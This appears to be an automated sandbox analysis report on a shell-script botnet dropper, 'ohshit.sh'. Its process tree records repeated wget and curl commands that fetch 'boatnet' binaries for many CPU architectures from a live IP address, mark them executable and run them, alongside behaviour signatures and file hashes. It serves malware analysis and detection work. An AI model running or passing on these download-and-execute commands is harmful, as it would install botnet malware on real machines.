Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260127-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260127-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    31/03/2026, 12:30

General

  • Target
    ohshit.sh
  • Size 2KB
  • Sample260331-pps39saw5j
  • SHA256 ac12224d300baa85a2ccb8becb3f9cc01c6165ea77a0f41cc17e14f6d7ea4185
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 3 IoCs
  • Executes dropped EXE 15 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 9 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 31 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:658
    • /usr/bin/wget
      wget http://176.65.139.59/hiddenbin/boatnet.aarch64
      2⤵
      • Writes file to tmp directory
      PID:667
    • /usr/bin/curl
      curl -O http://176.65.139.59/hiddenbin/boatnet.aarch64
      2⤵
      • Checks CPU configuration
      • Writes file to tmp directory
      PID:687
    • /bin/cat
      cat boatnet.aarch64
      2⤵
        PID:733
      • /bin/chmod
        chmod +x boatnet.aarch64 ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
        2⤵
        • File and Directory Permissions Modification
        PID:734
      • /tmp/WTF
        ./WTF
        2⤵
          PID:735
        • /usr/bin/wget
          wget http://176.65.139.59/hiddenbin/boatnet.arc
          2⤵
          • Writes file to tmp directory
          PID:737
        • /usr/bin/curl
          curl -O http://176.65.139.59/hiddenbin/boatnet.arc
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:762
        • /bin/cat
          cat boatnet.arc
          2⤵
            PID:769
          • /bin/chmod
            chmod +x boatnet.aarch64 boatnet.arc ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /tmp/WTF
            ./WTF
            2⤵
              PID:771
            • /usr/bin/wget
              wget http://176.65.139.59/hiddenbin/boatnet.armv4l
              2⤵
              • Writes file to tmp directory
              PID:773
            • /usr/bin/curl
              curl -O http://176.65.139.59/hiddenbin/boatnet.armv4l
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:774
            • /bin/cat
              cat boatnet.armv4l
              2⤵
                PID:775
              • /bin/chmod
                chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                2⤵
                • File and Directory Permissions Modification
                PID:776
              • /tmp/WTF
                ./WTF
                2⤵
                • Deletes itself
                • Changes its process name
                • Reads runtime system information
                PID:777
              • /usr/bin/wget
                wget http://176.65.139.59/hiddenbin/boatnet.armv5l
                2⤵
                • Writes file to tmp directory
                PID:779
              • /usr/bin/curl
                curl -O http://176.65.139.59/hiddenbin/boatnet.armv5l
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:781
              • /bin/cat
                cat boatnet.armv5l
                2⤵
                  PID:783
                • /bin/chmod
                  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:784
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Deletes itself
                  • Changes its process name
                  • Reads runtime system information
                  PID:785
                • /usr/bin/wget
                  wget http://176.65.139.59/hiddenbin/boatnet.armv6l
                  2⤵
                  • Writes file to tmp directory
                  PID:787
                • /usr/bin/curl
                  curl -O http://176.65.139.59/hiddenbin/boatnet.armv6l
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:790
                • /bin/cat
                  cat boatnet.armv6l
                  2⤵
                    PID:791
                  • /bin/chmod
                    chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:792
                  • /tmp/WTF
                    ./WTF
                    2⤵
                      PID:793
                    • /usr/bin/wget
                      wget http://176.65.139.59/hiddenbin/boatnet.armv7l
                      2⤵
                      • Writes file to tmp directory
                      PID:794
                    • /usr/bin/curl
                      curl -O http://176.65.139.59/hiddenbin/boatnet.armv7l
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:795
                    • /bin/cat
                      cat boatnet.armv7l
                      2⤵
                        PID:796
                      • /bin/chmod
                        chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:797
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Deletes itself
                        • Changes its process name
                        • Reads runtime system information
                        PID:798
                      • /usr/bin/wget
                        wget http://176.65.139.59/hiddenbin/boatnet.i486
                        2⤵
                        • Writes file to tmp directory
                        PID:800
                      • /usr/bin/curl
                        curl -O http://176.65.139.59/hiddenbin/boatnet.i486
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:802
                      • /bin/cat
                        cat boatnet.i486
                        2⤵
                          PID:803
                        • /bin/chmod
                          chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:804
                        • /tmp/WTF
                          ./WTF
                          2⤵
                            PID:805
                          • /usr/bin/wget
                            wget http://176.65.139.59/hiddenbin/boatnet.m68k
                            2⤵
                            • Writes file to tmp directory
                            PID:807
                          • /usr/bin/curl
                            curl -O http://176.65.139.59/hiddenbin/boatnet.m68k
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:808
                          • /bin/cat
                            cat boatnet.m68k
                            2⤵
                              PID:809
                            • /bin/chmod
                              chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:810
                            • /tmp/WTF
                              ./WTF
                              2⤵
                                PID:811
                              • /usr/bin/wget
                                wget http://176.65.139.59/hiddenbin/boatnet.mips
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:814
                              • /usr/bin/curl
                                curl -O http://176.65.139.59/hiddenbin/boatnet.mips
                                2⤵
                                • Checks CPU configuration
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:815
                              • /bin/cat
                                cat boatnet.mips
                                2⤵
                                • System Network Configuration Discovery
                                PID:818
                              • /bin/chmod
                                chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:819
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:820
                                • /usr/bin/wget
                                  wget http://176.65.139.59/hiddenbin/boatnet.mipsel
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:822
                                • /usr/bin/curl
                                  curl -O http://176.65.139.59/hiddenbin/boatnet.mipsel
                                  2⤵
                                  • Checks CPU configuration
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:823
                                • /bin/cat
                                  cat boatnet.mipsel
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:824
                                • /bin/chmod
                                  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:825
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                    PID:826
                                  • /usr/bin/wget
                                    wget http://176.65.139.59/hiddenbin/boatnet.mipsrouter
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:828
                                  • /usr/bin/curl
                                    curl -O http://176.65.139.59/hiddenbin/boatnet.mipsrouter
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:829
                                  • /bin/cat
                                    cat boatnet.mipsrouter
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:830
                                  • /bin/chmod
                                    chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:831
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                      PID:832
                                    • /usr/bin/wget
                                      wget http://176.65.139.59/hiddenbin/boatnet.powerpc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:834
                                    • /usr/bin/curl
                                      curl -O http://176.65.139.59/hiddenbin/boatnet.powerpc
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:835
                                    • /bin/cat
                                      cat boatnet.powerpc
                                      2⤵
                                        PID:836
                                      • /bin/chmod
                                        chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc ohshit.sh systemd-private-c31757bc2238446fba80c4229b2b5787-systemd-timedated.service-d9oycV WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:837
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                          PID:838
                                        • /usr/bin/wget
                                          wget http://176.65.139.59/hiddenbin/boatnet.sh4
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:840
                                        • /usr/bin/curl
                                          curl -O http://176.65.139.59/hiddenbin/boatnet.sh4
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:845
                                        • /bin/cat
                                          cat boatnet.sh4
                                          2⤵
                                            PID:847
                                          • /bin/chmod
                                            chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 ohshit.sh WTF
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:848
                                          • /tmp/WTF
                                            ./WTF
                                            2⤵
                                              PID:849
                                            • /usr/bin/wget
                                              wget http://176.65.139.59/hiddenbin/boatnet.sparc
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:851
                                            • /usr/bin/curl
                                              curl -O http://176.65.139.59/hiddenbin/boatnet.sparc
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:852
                                            • /bin/cat
                                              cat boatnet.sparc
                                              2⤵
                                                PID:853
                                              • /bin/chmod
                                                chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 boatnet.sparc ohshit.sh WTF
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:854
                                              • /tmp/WTF
                                                ./WTF
                                                2⤵
                                                  PID:855
                                                • /usr/bin/wget
                                                  wget http://176.65.139.59/hiddenbin/boatnet.x86_64
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:857
                                                • /usr/bin/curl
                                                  curl -O http://176.65.139.59/hiddenbin/boatnet.x86_64
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:858
                                                • /bin/cat
                                                  cat boatnet.x86_64
                                                  2⤵
                                                    PID:859
                                                  • /bin/chmod
                                                    chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 boatnet.sparc boatnet.x86_64 ohshit.sh WTF
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:860
                                                  • /tmp/WTF
                                                    ./WTF
                                                    2⤵
                                                      PID:861

                                                  Network

                                                        MITRE ATT&CK Enterprise v16

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        WTF

                                                        • Path /tmp/WTF
                                                        • Size 121KB
                                                        • SHA256 cecaed0ffe519c83d77655e1c2f3409fa795fc97917fe9a258f2473b1f84788d
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        WTF

                                                        • Path /tmp/WTF
                                                        • Size 114KB
                                                        • SHA256 128396e00e8d7f3b3ae0ea8764c8d05448861a825e872d729013768537c0fdde
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        WTF

                                                        • Path /tmp/WTF
                                                        • Size 110KB
                                                        • SHA256 3f064c305e1210001e661ebc6154f3f4f71a1de02a495a70bb266cdb50997377
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        WTF

                                                        • Path /tmp/WTF
                                                        • Size 197KB
                                                        • SHA256 a5c68825651a760d78a128fa1baa239fe6d4fa5e6e8636c7775c98dc43ba64b3
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                        boatnet.aarch64

                                                        • Path /tmp/boatnet.aarch64
                                                        • Size 153KB
                                                        • SHA256 f20991717b62d88a44b917df63021187bdee72b4c92a7773eb66531f86c3a43f
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH